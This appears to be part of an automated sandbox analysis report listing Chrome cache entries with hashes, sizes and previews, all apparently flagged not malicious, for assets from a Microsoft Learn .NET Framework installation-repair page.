File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y 